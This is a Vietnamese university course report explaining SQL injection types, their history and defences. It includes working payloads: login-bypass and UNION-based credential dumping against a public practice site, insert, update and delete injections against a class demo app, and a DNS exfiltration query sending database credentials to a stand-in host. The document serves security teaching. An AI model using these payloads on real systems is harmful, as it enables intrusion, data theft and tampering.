**ĐẠI HỌC HUẾ**



**TRƯỜNG ĐẠI HỌC KHOA HỌC**

**KHOA CÔNG NGHỆ THÔNG TIN**

**- - - 🙞 🕮** **🙜 - - -**



**BÁO CÁO KẾT THÚC HỌC PHẦN**

**ĐỀ TÀI: TÌM HIỂU CÁC HÌNH THỨC TẤN CÔNG SQL INJECTION VÀ CÁCH THỨC PHÒNG CHỐNG**

**Giảng viên hướng dẫn : Nguyễn Quang Hưng**

**Sinh viên thực hiện : Phan Văn Lễ - 21T1020471**

**: Võ Phạm Khánh Trường - 21T1020786**

**: Lê Minh Tú - 21T1020791**

**Lớp :An ninh mạng - Nhóm 8**

**Huế, Tháng 01 năm 2025**

**Mục Lục**

[**Mục Lục** 1](#_Toc187640515)

[**B. NỘI DUNG** 3](#_Toc187640516)

[**1. TỔNG QUAN SQL INJECTION** 3](#_Toc187640517)

[**1.1 Định nghĩa SQL Injection** 3](#_Toc187640518)

[**1.2 Lịch sử phát triển và các cuộc tấn công nổi bật** 4](#_Toc187640519)

[**1.3 Ưu và nhược điểm của tấn công SQL Injection** 5](#_Toc187640520)

[**2. Các hướng tấn công SQL INJECTION** 6](#_Toc187640521)

[**2.1 Chèn SQL Injection dựa trên đầu vào** 6](#_Toc187640522)

[**2.2 Chèn SQL Injection dựa trên cookies** 6](#_Toc187640523)

[**2.3 Chèn SQL Injection dựa trên headers HTTP** 6](#_Toc187640524)

[**2.4 Chèn SQL Injection bằng bậc hai** 7](#_Toc187640525)

[**3. CÁC DẠNG TẤN CÔNG SQL INJECTION** 7](#_Toc187640526)

[**3.1 In-band SQL Injection** 7](#_Toc187640527)

[**3.2 Blind SQL injection** 9](#_Toc187640528)

[**3.3 Out-of-band SQL injection** 12](#_Toc187640529)

[**4. KỊCH BẢN VÀ DEMO TẤN CÔNG SQL INJECTION** 13](#_Toc187640530)

[**4.1 Vượt qua khâu đăng nhập của hệ thống** 13](#_Toc187640531)

[**4.2 Đánh cắp dữ liệu** 13](#_Toc187640532)

[**4.3 Chỉnh xửa, thêm, xoá dữ liệu** 15](#_Toc187640533)

[**5. CÁCH PHÒNG CHỐNG SQL INJECTION** 15](#_Toc187640534)

[**C. KẾT LUẬN** 17](#_Toc187640535)

[**D. TÀI LIỆU THAM KHẢO** 18](#_Toc187640536)

**A. MỞ ĐẦU**

Trong thời đại công nghệ số, các hệ thống thông tin và cơ sở dữ liệu đóng vai trò quan trọng trong việc quản lý, lưu trữ và khai thác dữ liệu. Với sự phát triển mạnh mẽ của các ứng dụng web, nhu cầu truy xuất dữ liệu thông qua giao tiếp giữa người dùng và hệ thống cơ sở dữ liệu ngày càng tăng. Tuy nhiên, đi kèm với đó là những nguy cơ an ninh mạng, trong đó, tấn công SQL Injection (SQLi) được xem là một trong những hình thức phổ biến và nguy hiểm nhất.

SQL Injection không chỉ là mối đe dọa nghiêm trọng đối với dữ liệu nhạy cảm mà còn có thể gây ra những hậu quả nặng nề như mất dữ liệu, xâm phạm thông tin cá nhân, hoặc thậm chí làm gián đoạn hoạt động của cả hệ thống. Theo báo cáo an ninh mạng, đây là một trong những kỹ thuật tấn công được sử dụng phổ biến bởi các tin tặc nhằm khai thác lỗ hổng bảo mật trong các ứng dụng web không được xây dựng đúng cách.

Đề tài “Tìm hiểu các hình thức tấn công SQL Injection và cách thức phòng chống” hướng đến việc nghiên cứu sâu hơn về cơ chế hoạt động, phân loại các phương pháp tấn công SQL Injection và đề xuất các biện pháp phòng chống hiệu quả. Thông qua đề tài này, chúng tôi mong muốn nâng cao nhận thức về an toàn thông tin, đồng thời cung cấp các giải pháp kỹ thuật giúp bảo vệ hệ thống cơ sở dữ liệu khỏi các cuộc tấn công tiềm ẩn, góp phần xây dựng môi trường ứng dụng web an toàn và đáng tin cậy hơn.

# **B. NỘI DUNG**

## **1. TỔNG QUAN SQL INJECTION**

### **1.1 Định nghĩa SQL Injection**

SQL Injection (SQLi) là một kỹ thuật lợi dụng những lỗ hổng về câu truy vấn của các ứng dụng. Được thực hiện bằng cách chèn thêm một đoạn SQL để làm sai lệch đi câu truy vấn ban đầu, từ đó có thể khai thác dữ liệu từ database. SQL Injection có thể cho phép những kẻ tấn công thực hiện các thao tác như một người quản trị web, trên cơ sở dữ liệu của ứng dụng.

Kẻ tấn công có thể thực hiện cuộc tấn công này với nhiều mục đích khác nhau như:

1.Để lấy dữ liệu: Kẻ tấn công có thể lấy thông tin nhạy cảm được lưu trữ trên cơ sở dữ liệu. Giả sử nếu kẻ tấn công giành được quyền truy cập vào cơ sở dữ liệu quản trị viên.

2.Để trích xuất dữ liệu – Kẻ tấn công sẽ lấy được dữ liệu nhạy cảm. Giả sử nếu quản trị viên cơ sở dữ liệu bị tấn công, toàn bộ cơ sở dữ liệu trở nên dễ bị tấn công.

3. Để truy cập dữ liệu – Kẻ tấn công sẽ cố gắng phá vỡ các đặc quyền và truy cập vào toàn bộ cơ sở dữ liệu và thao tác với dữ liệu.

4.Lấy dấu vân tay dữ liệu - Trong cuộc tấn công này, phiên bản cơ sở dữ liệu và loại của nó sẽ được lấy ra bởi kẻ tấn công. Cuộc tấn công này giúp họ thử các loại truy vấn khác nhau trong các ứng dụng khác nhau.

5.Các tham số có thể tiêm được tìm thấy – sử dụng một số công cụ tự động dễ bị tấn công các thông số sẽ được tìm thấy để tấn công.

6. Bỏ qua xác thực – cơ chế xác thực ứng dụng sẽ bị bỏ qua để nhập bên trong cơ sở dữ liệu.

7 Nhận dạng lược đồ cơ sở dữ liệu - Từ tên bảng cơ sở dữ liệu, kiểu dữ liệu của từng trường, tên cột, v.v. sẽ được truy xuất để thu thập thông tin thành công

8. Để thực hiện từ chối dịch vụ – Bỏ bảng và tắt hệ thống thuộc danh mục này. Kẻ tấn công cố gắng xâm nhập vào bên trong hệ thống để thực hiện một số lệnh cụ thể trong cơ sở dữ liệu.

### **1.2 Lịch sử phát triển và các cuộc tấn công nổi bật**

Lỗ hổng SQL injection lần đầu tiên được ghi nhận vào năm 1998 bởi nhà nghiên cứu an ninh mạng và tin tặc Jeff Forristal. Những phát hiện của ông đã được công bố trên tạp chí tin tặc Phrack. Viết dưới biệt danh Rain Forest Puppy, Forristal giải thích cách một người có kỹ năng lập trình cơ bản có thể chèn các lệnh SQL trái phép vào các lệnh SQL hợp lệ và lấy thông tin nhạy cảm ra khỏi cơ sở dữ liệu của một trang web không an toàn.

Khi Forristal thông báo cho Microsoft về cách lỗ hổng này tác động đến sản phẩm SQL Server phổ biến của họ, họ không coi đó là vấn đề. Như Forristal đã nói, "Theo họ [Microsoft], những gì bạn sắp đọc không phải là vấn đề, vì vậy đừng lo lắng về việc làm bất cứ điều gì để ngăn chặn nó."

Năm 2007, chuỗi cửa hàng tiện lợi lớn nhất tại Hoa Kỳ, 7-Eleven, đã trở thành nạn nhân của một cuộc tấn công SQLI. Các tin tặc người Nga đã sử dụng SQL injection để hack vào trang web 7-Eleven và sử dụng đó làm bàn đạp để xâm nhập vào cơ sở dữ liệu thẻ ghi nợ của khách hàng tại cửa hàng tiện lợi. Điều này cho phép các tin tặc sau đó rút tiền mặt về nhà ở Nga. Tổng cộng, thủ phạm đã lấy đi hai triệu đô la, như tạp chí Wired đã đưa tin.

Không phải tất cả các cuộc tấn công SQLI đều xuất phát từ lòng tham. Trong một ví dụ đáng chú ý khác từ năm 2007, tội phạm mạng đã sử dụng SQLI để giành quyền kiểm soát hành chính đối với hai trang web liên quan đến Quân đội Hoa Kỳ và chuyển hướng người truy cập đến các trang web có nội dung tuyên truyền chống Mỹ và chống Israel.

Vụ vi phạm dữ liệu MySpace năm 2008 được xếp hạng là một trong những vụ tấn công lớn nhất vào trang web của người tiêu dùng. Tội phạm mạng đã đánh cắp email, tên và một phần mật khẩu của gần 360 triệu tài khoản. Và đây là lý do tại sao chúng ta không sử dụng lại mật khẩu từ trang web này sang trang web khác.

Tiêu đề cho sự thiếu an ninh nghiêm trọng nhất thuộc về Equifax. Vụ vi phạm dữ liệu Equifax năm 2017 đã để lộ thông tin cực kỳ cá nhân (tức là tên, số an sinh xã hội, ngày sinh và địa chỉ) của 143 triệu người tiêu dùng. Đối với một tổ chức đóng vai trò là người gác cổng thông tin cho mọi người Mỹ, ngoại trừ những người sống ngoài lưới điện, bạn sẽ nghĩ rằng họ sẽ thực hiện các biện pháp phòng ngừa chống lại một cuộc tấn công SQLI cơ bản. Trước khi vụ vi phạm dữ liệu xảy ra, một công ty nghiên cứu an ninh mạng thậm chí đã cảnh báo Equifax rằng họ dễ bị tấn công SQLI, nhưng cơ quan tín dụng đã không có hành động nào cho đến khi quá muộn.

Trong vụ hack được xếp hạng là vụ hack rùng rợn nhất trong lịch sử, một cuộc tấn công SQLI năm 2015 vào nhà sản xuất đồ chơi Vtech đã dẫn đến việc vi phạm dữ liệu của gần năm triệu phụ huynh và 200.000 trẻ em. Khi nói chuyện với Motherboard, ấn phẩm đa phương tiện trực tuyến, tin tặc chịu trách nhiệm tuyên bố rằng họ không có kế hoạch nào cho dữ liệu và không công bố dữ liệu ở bất kỳ đâu trực tuyến. Ngược lại, tin tặc cũng giải thích rằng dữ liệu rất dễ bị đánh cắp và người khác có thể đã lấy được dữ liệu trước.

Tiến tới ngày nay, cuộc tấn công SQLI vẫn là một vấn đề. Cứ ba năm một lần, Dự án bảo mật ứng dụng web mở (OWASP) xếp hạng 10 rủi ro bảo mật ứng dụng web quan trọng nhất. Trong ấn bản gần đây nhất năm 2017 , cuộc tấn công SQLI được xếp hạng số một.

Ngoài tuổi thọ của cuộc tấn công SQLI, điều thú vị là các cuộc tấn công SQLI không hề thay đổi hay phát triển theo bất kỳ cách nào. Các cuộc tấn công SQLI vẫn hiệu quả và sẽ tiếp tục hiệu quả cho đến khi mọi người thay đổi thái độ về an ninh mạng.

### **1.3 Ưu và nhược điểm của tấn công SQL Injection**

#### **1.3.1 Ưu điểm**

* Cách thức tấn công đơn giản, chủ yếu là sử dụng câu lệnh SQL.
* Lỗ hổng SQL Injection dễ bị phát hiện.
* Với những hệ thống có lỗ hổng, không an toàn thì cuộc tấn công SQLi có tỷ lệ thành công tương đối cao (lỗ hổng dễ bị khai thác).
* Khi kẻ tấn công đã vượt qua được khâu đăng nhập, đã lấy được dữ liệu trong hệ thống thì kẻ tấn công có khả năng chiếm quyền kiểm soát toàn bộ hệ thống.

#### **1.3.2 Nhược điểm**

* Hệ thống phải có lỗ hổng mới tấn công được.
* SQL Injection là là kỹ thuật tấn công đã xuất hiện trong một thời gian dài nên các phần mềm và ứng dụng web hiện tại đã được các lập trình viên chú ý và xây dựng các hệ thống chống lại dạng tấn công này.
* Hoạt động của kẻ tấn công có thể được trình duyệt lưu lại và có thể vẫn hiển thị với nhà cung cấp dịch vụ mạng internet.

## **2. Các hướng tấn công SQL INJECTION**

### **2.1 Chèn SQL Injection dựa trên đầu vào**

Một cuộc tấn công SQL Injection thường phổ biến với việc sử dụng các đầu vào của người dùng. Các ứng dụng web đều chấp nhận các đầu vào thông qua nhiều hình thức khác nhau. Thông qua đó, những kẻ tấn công có thể gắn SQL Injection với các dữ liệu đầu vào và truy cập vào cơ sở dữ liệu máy chủ.

User input điển hình thường đến từ các form nhập liệu, form search hay link… Những dữ liệu này được web browser gửi đến server thông qua phương thức HTTP GET hay POST và trở thành các tham số cho ứng dụng web truy cập tới cơ sở dữ liệu.

### **2.2 Chèn SQL Injection dựa trên cookies**

Một cách tiếp cận khác với SQL Injection là sửa đổi cookie thành các truy vấn cơ sở dữ liệu chứa mã độc. Các phần mềm độc hại có thể được triển khai trên thiết bị người dùng thông qua thay đổi của cookie, nhằm mục đích đưa SQL Injection vào các dữ liệu Back-end.

Cookies là những tệp tin lưu trữ thông tin trạng thái của người dùng khi truy cập các ứng dụng web. Những thông tin này do người lập trình quyết định, được tạo ra ở server và lưu trữ tại client. Khi người dùng truy cập lại ứng dụng web, cookies được browser gửi lên server giúp phục hồi lại những trạng thái của người dùng trong lần truy cập trước đó.

Do được lưu trữ ở client nên người dùng có thể chỉnh sửa tùy ý, vì vậy nếu ứng dụng web sử dụng những thông tin lưu trong cookies để xây dựng các truy vấn tới cơ sở dữ liệu thì hacker hoàn toàn có thể chèn vào cookies những script sql để thực hiện một cuộc tấn công SQL Injection.

### **2.3 Chèn SQL Injection dựa trên headers HTTP**

Các biến của máy chủ như headers HTTP cũng có thể là mục tiêu tấn công của SQL Injection. Nếu một ứng dụng web chấp nhận đầu vào từ các headers HTTP, các headers giả có chứa SQL Injection có thể xâm nhập vào cơ sở dữ liệu.

Lỗ hổng chèn headers HTTP là một thuật ngữ bảo mật ứng dụng web đề cập đến tình huống khi kẻ tấn công đánh lừa ứng dụng web để chèn thêm tiêu đề HTTP vào các phản hồi HTTP hợp pháp. Chèn tiêu đề HTTP là một kỹ thuật có thể được sử dụng để tạo điều kiện cho các cuộc tấn công độc hại như tạo kịch bản trang web chéo , nhiễm độc bộ nhớ cache web , v.v. Do đó, những điều này có thể dẫn đến tiết lộ thông tin, sử dụng ứng dụng của bạn trong các cuộc tấn công lừa đảo và các hậu quả nghiêm trọng khác.

Lỗ hổng chèn tiêu đề HTTP là kết quả của việc điều chỉnh quá mức đầu vào của người dùng. Nếu nhà phát triển ứng dụng web sử dụng dữ liệu bên ngoài trực tiếp trong các phản hồi HTTP, thì thường có thể thực hiện một cuộc tấn công đưa vào tiêu đề HTTP

### **2.4 Chèn SQL Injection bằng bậc hai**

Một cuộc tấn SQL Injection bậc hai cung cấp các dữ liệu bị nhiễm độc, mà đây là các dữ liệu có thể được xem là lành tình trong một trường hợp nhất định, nhưng chứa các mã độc trong trường hợp khác. Bạn khó có thể nhận thức được các cuộc tấn công theo cách thức này.

Là một lỗ hổng bảo mật ứng dụng, nó xảy ra khi các giá trị do người dùng gửi được lưu trữ trong cơ sở dữ liệu và sau đó nó được sử dụng bởi một số chức năng khác trong ứng dụng mà không cần thoát hoặc lọc dữ liệu.

## **3. CÁC DẠNG TẤN CÔNG SQL INJECTION**

### **3.1 In-band SQL Injection**

In-band SQL Injection là dạng tấn công phổ biến nhất và cũng dễ để khai

thác lỗ hổng SQL Injection nhất, hình thức SQL Injection này giúp hacker có thể tổ chức tấn công và thu thập kết quả trực tiếp trên cùng một kênh liên lạc.

Ví dụ: Giả sử truy vấn sau đây có mục đích trả về dữ liệu cá nhân của người dùng hiện tại và hiển thị trên màn hình.

SELECT \* FROM users WHERE user\_id LIKE 'current\_user'

Nếu truy vấn này được thực hiện trong ứng dụng bằng cách nối chuỗi đơn giản, tin tặc độc hại có thể cung cấp *current\_user* sau :

%'—

Kết quả là chuỗi truy vấn được gửi đến cơ sở dữ liệu sẽ trở thành:

SELECT \* FROM users WHERE user\_id LIKE '%'--'

Dấu nháy đơn hoàn thành câu lệnh SQL và dấu gạch ngang kép (–) có nghĩa là phần còn lại của dòng được coi là chú thích. Do đó, ứng dụng thực hiện truy vấn sau:

SELECT \* FROM users WHERE user\_id LIKE '%'

Dấu phần trăm trong SQL là ký tự đại diện, do đó, sau khi tấn công, ứng dụng sẽ hiển thị nội dung của toàn bộ bảng *người dùng* (dữ liệu cá nhân), không chỉ một bản ghi người dùng duy nhất.

In-Band SQLi có 2 loại : Error-based SQLi và Union-based SQLi.

#### **3.1.1 Error-based SQLi**

Error-based SQL Injection là một kỹ thuật In-band injection cho phép kẻ tấn công khai thác kết quả lỗi từ cơ sở dữ liệu để thao tác trên dữ liệu của nó. Thực hiện kỹ thuật này khiến cho cơ sở dữ liệu trả về một thông báo lỗi có chứa thông tin về cấu trúc của nó.

Error-based SQL Injection yêu cầu sử dụng một lỗ hổng để buộc trích xuất dữ liệu. Lỗ hổng cho phép code để xuất ra lỗi SQL từ máy chủ thay vì dữ liệu được yêu cầu như thông thường.

Ví dụ: Giả sử truy vấn sau đây có mục đích trả về dữ liệu cá nhân của người dùng hiện tại và hiển thị trên màn hình.

SELECT \* FROM users WHERE user\_id LIKE 'current\_user'

Một tin tặc độc hại có thể cung cấp giá trị *current\_user* sau :

1'

Kết quả là truy vấn trở thành:

SELECT \* FROM users WHERE user\_id = '1''

Dấu nháy đơn kép ở cuối truy vấn khiến cơ sở dữ liệu báo lỗi. Nếu máy chủ web được cấu hình để hiển thị lỗi trên màn hình, kẻ tấn công có thể thấy thông báo như sau:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' at line 1 Warning: mysql\_fetch\_array() expects parameter 1 to be resource, Boolean given in /hj/var/www/query.php on line 37

Kết quả là, kẻ tấn công sẽ ngay lập tức nhận thấy ứng dụng đang sử dụng cơ sở dữ liệu MySQL và có thể tập trung vào các cuộc tấn công cụ thể vào MySQL.

#### **3.1.2 Union-based SQLi**

Union-based SQL Injection là một kỹ thuật chèn SQL trong băng tần sử dụng toán tử UNION để kết hợp các kết quả của hai hoặc nhiều câu lệnh SELECT thành một kết quả duy nhất, sau đó được trả về như một phần của phản hồi HTTP.

Tấn công SQL injection dựa trên liên kết là loại tấn công SQL injection nguy hiểm nhất vì nó cho phép kẻ tấn công trực tiếp lấy được hầu hết mọi thông tin từ cơ sở dữ liệu.

Ví dụ: Giả sử truy vấn sau đây có mục đích trả về dữ liệu cá nhân của người dùng hiện tại và hiển thị trên màn hình.

SELECT \* FROM users WHERE user\_id LIKE 'current\_user'

Một tin tặc độc hại có thể cung cấp *current\_user* sau :

-1' UNION SELECT version(),current\_user()--'

Kết quả là truy vấn trở thành:

SELECT \* FROM users WHERE user\_id = '-1' UNION SELECT version(),current\_user()--'

Các hàm *version* và *current\_user* trong MySQL trả về phiên bản cơ sở dữ liệu và tên của người dùng hệ điều hành hiện tại. Kết quả là, kẻ tấn công nhận được thông tin sau:

5.1.73-0ubuntu0.10.04.1

mysql@localhost

Kẻ tấn công ngay lập tức thấy rằng ứng dụng đang sử dụng cơ sở dữ liệu MySQL 5.1.73 trên hệ điều hành Ubuntu 10.04.1 và cơ sở dữ liệu được truy cập bằng tài khoản người dùng của hệ điều hành *mysql* .

### **3.2 Blind SQL injection**

*Blind SQL injection* là một loại SQL injection mà kẻ tấn công không nhận được phản hồi rõ ràng từ cơ sở dữ liệu bị tấn công và thay vào đó, xây dựng lại cấu trúc cơ sở dữ liệu từng bước bằng cách quan sát hành vi của máy chủ cơ sở dữ liệu và ứng dụng. Blind SQL injection cũng được gọi là *inferential SQL injection* .

Có hai loại *blind SQL injection*: *boolean-based* và *time-based*.

#### **3.2.1 Boolean-based blind SQL injection**

Đây là kiểu tấn công mà hacker có chèn toán tử boolean vào trong câu truy vấn, hacker dựa vào việc gửi các truy vấn tới cơ sở dữ liệu bắt buộc ứng dụng trả về các kết quả khác nhau phụ thuộc vào câu truy vấn là True hay False.

Ví dụ: giả sử truy vấn sau đây có mục đích hiển thị thông tin chi tiết về một sản phẩm từ cơ sở dữ liệu.

SELECT \* FROM products WHERE id = product\_id

Đầu tiên, tin tặc độc hại sử dụng ứng dụng theo cách hợp pháp để khám phá ít nhất một ID sản phẩm hiện có – trong ví dụ này là sản phẩm 42. Sau đó, chúng có thể cung cấp hai giá trị sau cho *product\_id* :

42 AND 1=1

42 AND 1=0

Nếu truy vấn này được thực thi trong ứng dụng bằng cách nối chuỗi đơn giản, truy vấn sẽ lần lượt trở thành:

SELECT \* FROM products WHERE id = 42 and 1=1

SELECT \* FROM products WHERE id = 42 and 1=0

Nếu ứng dụng hoạt động khác nhau trong từng trường hợp, ứng dụng đó dễ bị tấn công *boolean-based blind SQL injections*.

Nếu máy chủ cơ sở dữ liệu là Microsoft SQL Server, kẻ tấn công có thể cung cấp giá trị sau cho *product\_id* :

42 AND (SELECT TOP 1 substring(name, 1, 1)

FROM sysobjects

WHERE id=(SELECT TOP 1 id

FROM (SELECT TOP 1 id

FROM sysobjects

ORDER BY id)

AS subq

ORDER BY id DESC)) = 'a'

Do đó, truy vấn phụ trong dấu ngoặc đơn after “42 AND” kiểm tra xem tên của bảng đầu tiên trong cơ sở dữ liệu có bắt đầu bằng chữ *a* hay không. Nếu đúng, ứng dụng sẽ hoạt động giống như đối với payload “42 AND 1=1”*.* Nếu sai, ứng dụng sẽ hoạt động giống như đối với payload “42 AND 1=0”.

#### **3.2.2 Time-based blind SQL injection**

Time-base Blind SQLi là kĩ thuật tấn công dựa vào việc gửi những câu truy vấn tới cơ sở dữ liệu và buộc cơ sở dữ liệu phải chờ một khoảng thời gian (thường tính bằng giây) trước khi phản hồi.

Thời gian phản hồi (ngay lập tức hay trễ theo khoảng thời gian được set) cho phép kẻ tấn công suy đoán kết quả truy vấn là TRUE hay FALSE.

Kiểu tấn công này cũng tốn nhiều thời gian tương tự như Boolean-based.

Ví dụ: giả sử truy vấn sau đây có mục đích hiển thị thông tin chi tiết về một sản phẩm từ cơ sở dữ liệu.

SELECT \* FROM products WHERE id = product\_id

Một hacker có thể cung cấp giá trị *Product\_id* sau:

42; WAITFOR DELAY '0:0:10'

Kết quả là truy vấn trở thành:

SELECT \* FROM products WHERE id = 1; WAITFOR DELAY '0:0:10'

Nếu máy chủ cơ sở dữ liệu là Microsoft SQL Server và ứng dụng dễ bị tấn công bằng cách *time-based blind SQL injections*, kẻ tấn công sẽ thấy ứng dụng bị trễ 10 giây.

Bây giờ, kẻ tấn công đã biết rằng việc *time-based blind SQL injections* là có thể, chúng có thể cung cấp Product\_id sau:

42; IF(EXISTS(SELECT TOP 1 \*

FROM sysobjects

WHERE id=(SELECT TOP 1 id

FROM (SELECT TOP 1 id

FROM sysobjects

ORDER BY id)

AS subq

ORDER BY id DESC)

AND ascii(lower(substring(name, 1, 1))) = 'a'))

WAITFOR DELAY '0:0:10'

Nếu tên của bảng đầu tiên trong cấu trúc cơ sở dữ liệu bắt đầu bằng chữ cái a thì phần thứ hai của truy vấn này sẽ đúng và ứng dụng sẽ phản hồi với độ trễ 10 giây. Cũng giống như việc *boolean-based blind SQL injections* ở trên, kẻ tấn công có thể sử dụng phương pháp này nhiều lần để khám phá tên của bảng đầu tiên trong cấu trúc cơ sở dữ liệu, sau đó cố gắng lấy thêm dữ liệu về cấu trúc bảng của bảng này và cuối cùng trích xuất dữ liệu từ bàn.

### **3.3 Out-of-band SQL injection**

Out-of-band SQLi là loại tấn công không phổ biến, kiểu tấn công này chỉ xảy ra khi hacker không thể tấn công và thu thập kết quả trực tiếp trên cùng một kênh (In-band SQLi), và đặc biệt là khi việc phản hồi từ server là không ổn định.

Kiểu tấn công này phụ thuộc vào khả năng server thực hiện các request DNS hoặc HTTP để chuyển dữ liệu cho kẻ tấn công.

Ví dụ: Tấn công Out-of-band SQLi trong MySQL

Giả sử kẻ tấn công có thể thực hiện truy vấn SQL sau trong cơ sở dữ liệu đích:

SELECT load\_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT +user),'.', (SELECT+password),'.',example.com\\test.txt'))

Điều này sẽ khiến ứng dụng gửi yêu cầu DNS tới miền cơ sở dữ liệu\_version.database\_user.database\_password.example.com, làm lộ dữ liệu nhạy cảm (phiên bản cơ sở dữ liệu, tên người dùng và mật khẩu của người dùng) cho kẻ tấn công.

## **4. KỊCH BẢN VÀ DEMO TẤN CÔNG SQL INJECTION**

### **4.1 Vượt qua khâu đăng nhập của hệ thống**

Bước 1: Tìm website bị lỗi SQL Injection để tấn công

http://testphp.vulnweb.com/

Bước 2: Đi đến form đăng nhập của hệ thống

http://testphp.vulnweb.com/login.php

Bước 3: Đăng nhập vào hệ thống

Nhập vào ô Username và Password nội dung sau: ' or 1=1 ; #

Kết quả: Ta đã đăng nhập thành công vào hệ thống mà không cần đến thông tin Username và Password.

### **4.2 Đánh cắp dữ liệu**

Bước 1: Tìm website bị lỗi SQL Injection để tấn công

http://testphp.vulnweb.com/listproducts.php?cat=1

Bước 2: Kiểm tra website có bị lỗi không

Thêm dấu \* vào cuối đường link

http:// testphp .vulnweb.com/listproducts.php?cat=1\*

Trang web xuất hiện thông báo lỗi => Website bị lỗi

Bước 3: Tìm số cột của Table mà trang web đang thực hiện truy vấn

Chèn lệnh Order by x --

(x là số cột, ta thử x tăng dần từ bắt đầu từ 1 cho đến khi trang web thông báo lỗi thì dừng lại)

Khi ta thử đến x = 12 thì trang web báo lỗi => số cột là 11.

Bước 4: Tìm cột bị lỗi

Sửa cat=1 thành cat=-1 và chèn câu lệnh union select sau vào link: http:// testphp .vulnweb.com/listproducts.php?cat=-1 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 --

Trang web hiển thị các cột bị lỗi: 2, 7, 9, 11. Ta chọn cột 11 để tấn công.

Bước 5: Lấy thông tin tên các bảng có trong cơ sở dữ liệu của hệ thống

Tại vị trí 11 trong đường link ta ghi group\_concat(table\_name) và chèn from information\_schema.tables where table\_schema = database() vào sau câu lệnh SELECT.

http://testphp.vulnweb.com/listproducts.php?cat=-1 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, group\_concat(table\_name) from information\_schema.tables where table\_schema = database() --

Kết quả: artists, carts, categ, featured, guestbook, pictures,

Bước 6: Lấy thông tin tên các cột trong một bảng

Ta tiến hành lấy thông tin các tên cột trong bảng users bằng cách group\_concat(table\_name) thành group\_concat(column\_name) và chèn from information\_schema.columns where table\_schema thành where table\_name = 0x7573657273 sau câu lệnh SELECT.

http://testphp.vulnweb.com/listproducts.php?cat=-1 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, group\_concat(column\_name) from information\_schema.columns where table\_name  
=0x7573657273 –

Kết quả: uname,pass,cc,address,email,name,phone,cart

Bước 7: Lấy thông tin bảng ghi trong bảng users

Ta lấy thông tin bảng ghi của cột uname và pass bằng cách thay group\_concat(column\_name) thành  
group\_concat(uname,’|’,pass) và chèn from users vào sau câu lệnh SELECT.  
http://testphp.vulnweb.com/listproducts.php?cat=-1 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, group\_concat(uname,’|’,pass) from users –

Kết quả: test|test

Như vậy ta lấy được thông tin tài khoản:

Username: test

Password: test

### **4.3 Chỉnh xửa, thêm, xoá dữ liệu**

Ta tiến hành chỉnh sửa dữ liệu trên phần mềm Demo ATvBMHTTT. Phần mềm này dùng để lưu thông tin đơn hàng (Số hóa đơn, mã khách hàng, ngày mua hàng), nó có 2 chức năng chính là: Xem thông tin toàn bộ đơn hàng và Tìm kiếm đơn hàng thông qua Số hóa đơn. Chức năng tìm kiếm của phần mềm bị lỗi SQL Injection nên ta có thể chèn câu lệnh SQL vào ô Số hóa đơn để chỉnh sửa dữ liệu.

* Bước 1: Thêm dữ liệu

Chèn vào ô SOHD:

‘ insert into HOADON values(‘111’,’KH0009’,null) ;--

để thêm một đơn hàng có số hóa đơn là 111, mã khách hàng là

KH0009.

* Bước 2: Sửa dữ liệu

Chèn vào ô SOHD:

‘ update HOADON set MAKH=‘KH0009’ where SOHD=‘HD0001’;--

để sửa Mã khách hàng của đơn hàng có Số hóa đơn HD0001 từ

KH0001 thành KH0009.

* Bước 3: Xóa dữ liệu

Chèn vào ô SOHD:

‘ delete from HOADON where SOHD = ‘HD0005’ ; --

để xóa thông tin đơn hàng có số hóa đơn HD0005.

## **5. CÁCH PHÒNG CHỐNG SQL INJECTION**

* **Lọc dữ liệu từ người dùng**: Cách phòng chống này tương tự như XSS. Ta sử dụng filter để lọc các kí tự đặc biệt (; ” ‘) hoặc các từ khoá (SELECT, UNION) do người dùng nhập vào. Nên sử dụng thư viện/function được cung cấp bởi framework. Viết lại từ đầu vừa tốn thời gian vừa dễ sơ sót.
* **Không cộng chuỗi để tạo SQL**: Sử dụng parameter thay vì cộng chuỗi. Nếu dữ liệu truyền vào không hợp pháp, SQL Engine sẽ tự động báo lỗi, ta không cần dùng code để check.
* **Không hiển thị exception, message lỗi**: Hacker dựa vào message lỗi để tìm ra cấu trúc database. Khi có lỗi, ta chỉ hiện thông báo lỗi chứ đừng hiển thị đầy đủ thông tin về lỗi, tránh hacker lợi dụng.
* **Phân quyền rõ ràng trong Database**: Nếu chỉ truy cập dữ liệu từ một số bảng, hãy tạo một account trong database, gán quyền truy cập cho account đó chứ đừng dùng account root hay sa. Lúc này, dù hacker có inject được sql cũng không thể đọc dữ liệu từ các bảng chính, sửa hay xoá dữ liệu.
* **Backup dữ liệu thường xuyên**: Dữ liệu phải thường xuyên được backup để nếu có bị hacker xoá thì ta vẫn có thể khôi phục được.

# **C. KẾT LUẬN**

SQL Injection (SQLi) là một trong những hình thức tấn công nguy hiểm và phổ biến nhất, đe dọa đến tính bảo mật và an toàn của các hệ thống cơ sở dữ liệu. Qua quá trình nghiên cứu và thực hiện đề tài, nhóm đã tìm hiểu và phân tích chi tiết các dạng tấn công SQL Injection, từ cơ chế hoạt động, các kỹ thuật khai thác đến các biện pháp phòng chống hiệu quả.

Các lỗ hổng SQL Injection thường xuất hiện do những sai sót trong lập trình và kiểm tra bảo mật, đặc biệt là ở các ứng dụng web. Để giảm thiểu nguy cơ này, việc áp dụng các biện pháp phòng chống như sử dụng các câu truy vấn tham số hóa, lọc đầu vào của người dùng, và quản lý quyền truy cập một cách chặt chẽ là điều vô cùng cần thiết. Đồng thời, việc nâng cao nhận thức về an toàn thông tin và thực hiện kiểm tra định kỳ hệ thống là nền tảng để xây dựng môi trường số an toàn hơn.

Hy vọng rằng những kiến thức thu được từ đề tài sẽ góp phần giúp các lập trình viên, nhà quản trị hệ thống, và các tổ chức nhận thức sâu sắc hơn về mối nguy hại của SQL Injection cũng như cách thức bảo vệ dữ liệu và hệ thống một cách hiệu quả. Qua đó, đề tài không chỉ dừng lại ở việc học hỏi mà còn mong muốn đóng góp tích cực vào sự phát triển của lĩnh vực an ninh mạng.

Cảm ơn giảng viên hướng dẫn và các thành viên đã hỗ trợ trong suốt quá trình thực hiện đề tài.

# **D. TÀI LIỆU THAM KHẢO**

